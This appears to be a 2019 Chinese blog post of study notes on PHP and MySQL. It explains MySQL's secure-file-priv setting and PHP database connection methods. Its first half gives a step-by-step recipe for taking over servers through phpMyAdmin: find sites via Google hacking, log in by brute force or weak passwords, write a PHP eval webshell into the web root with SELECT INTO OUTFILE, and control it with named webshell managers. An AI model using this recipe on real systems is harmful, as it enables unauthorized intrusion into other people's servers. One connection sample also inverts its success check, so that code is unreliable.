10.11php+mysql

首次从数据库中导出文件,数据库会执行__secure-file-priv”安全机制,会限制我们导出文件。查看该安全项的值:show global variables like ‘%secure-file-priv%’

Secure-file-priv null时 表示mysql限制导入导出

Secure-file-priv 没有值 表示mysql不限制导入导出

Secure-file-priv=/tmp 表示只能在/tmp目录下导入导出

 

△修改该安全选项

临时方法:set global secure-file-priv=’ ’;

注意:variable ‘secure_file_priv’ is a read only variable 表示不能通过sql语句修改

 

长久方法:修改配置文件

在配置文件中找到[mysqld],后面添加secure-file-priv=’ ’

 

通过phpmyadmin 获取服务器权限(getshell)

step1:通过google hacking phpmyadmin网站

step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马

select "<?php @eval($_POST[_]);?>" into outfile "D:\\phpstudy_pro\\www\\evil.php";

select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法

step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;

step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器

 

 

 

 

PHP+MYSQL

PHP 操作mysql 数据库

(1) 使用mysqli扩展(推荐),只针对mysql数据库

面向对象的方式

直接方法(面向过程);

(2)使用mysql扩展(php<=5.5)

(3)使用pdo ,支持12种数据库

 

三种数据库的连接释放.php(分别取消注释使用)

<?php

header("Content-type:text/html;charset:utf-8");

$ser="127.0.0.1";

$name="root";

$pwd="roo";

 

/*m面向对象*/

 

/*

$conn=new mysqli($ser,$name,$pwd);

if($conn->connect_error){

die("连接失败:".$conn->connect_error);

}

echo "数据库连接成功!";

$conn->close();

*/

 

/*面向过程*/

/*

$conn=mysqli_connect($ser,$name,$pwd);

if($conn){ //mysqli连接成功返回true,没有连接成功返回false;

echo mysqli_connect_error();

}

echo "连接成功";

var_dump($conn);

mysqli_close($conn);

*/

 

/*pdo*/

/*

try{

$conn=new pdo("mysql:host=$ser;",$name,$pwd);

echo "成功!";

}

catch(PDOException $ee){

echo $ee-> getMessage();

}

$conn=null;

*/

 

 

通过phpinfo()查看当前环境中有没有mysqlipdo的扩展

Mysqli_connect(ip:port,name,pwd,db)连接数据库

$result=mysqli_query(连接,sql语句)

Mysqli_num_rows($result) 查询记录数

Mysqli_fetch_assoc($result) 执行之后的结果将第一行转换为关联数组

Mysqli_fetch_all($result)将结果所有行转换为关联数组和数字数组

Mysqli_fetch_array()将结果第一行转换为关联数组和数字数组

posted @ 2019-10-11 16:28  黑空  阅读(249)  评论(0编辑  收藏  举报